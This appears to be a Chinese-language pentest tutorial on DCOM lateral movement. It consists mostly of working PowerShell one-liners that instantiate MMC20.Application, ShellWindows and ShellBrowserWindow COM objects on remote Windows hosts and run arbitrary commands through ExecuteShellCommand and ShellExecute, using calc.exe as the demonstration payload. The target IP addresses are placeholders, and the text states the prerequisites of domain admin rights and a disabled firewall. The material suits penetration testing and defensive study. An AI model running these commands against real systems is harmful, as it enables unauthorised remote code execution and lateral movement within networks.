DCOM在远程系统中的使用
DCOM(分布式组件对象模型)是微软的一个概念和程序接口,通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求
通过本地DCOM执行命令
1,获取DCOM程序列表
Get-CimInstance (适用于powershell 3.0及以上版本,win2012及以上)
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication(适用于powershell 2.0,win7,win8)
2,获得COM对象的实例后,还可以执行如下命令枚举这个 COM 对象中的不同方法和属性
$com.Document.ActiveView | Get-Member
3,使用DCOM执行任意命令
在本地使用管理员权限启动powershell,执行命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,“127.0.0.1”))
$com.Document.ActiveView.ExecuteShellCommand(“cmd.exe”,$null,"/c calc.exe",“Minimzed”)
执行该命令会在桌面弹出calc;
使用DCOM在远程机器上执行命令
在域内一台获得了管理员权限的主机上运行powershell,并且需要另一台主机关闭系统防火墙
(1),调用MMC20.Application远程执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,“192.168.3.133”))
$com.Document.ActiveView.ExecuteShellCommand(‘cmd.exe’,$null,’/c calc.exe’,"")
命令执行后本机是没有回显的,在目标系统中启动任务管理器,可以看到calc.exe正以管理员身份运行;
(2),调用ShellWindows远程执行命令
$com=[activator]::CreateInstance([type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“192.168.7.7”))
$com.item().Document.Application.ShellExecute(“cmd.exe”,"/c calc.exe",“c:\windows\system32”,$null,0)
或者
[activator]::CreateInstance([type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“192.168.7.7”)).item().Document.Application.ShellExecute(“cmd.exe”,"/c calc.exe",“c:\windows\system32”,$null,0)
命令执行后,目标系统将调用system32中的cmd,然后打开一个计算器:
以上这两种方法均适用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016 的系统。
(3)、调用 ShellBrowserWindow 远程执行命令
适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“ip地址”))
$com.Document.Application.shellExecute(“calc.exe”)
或者
[activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“IP地址”)).Document.Application.shellExecute(“calc.exe”)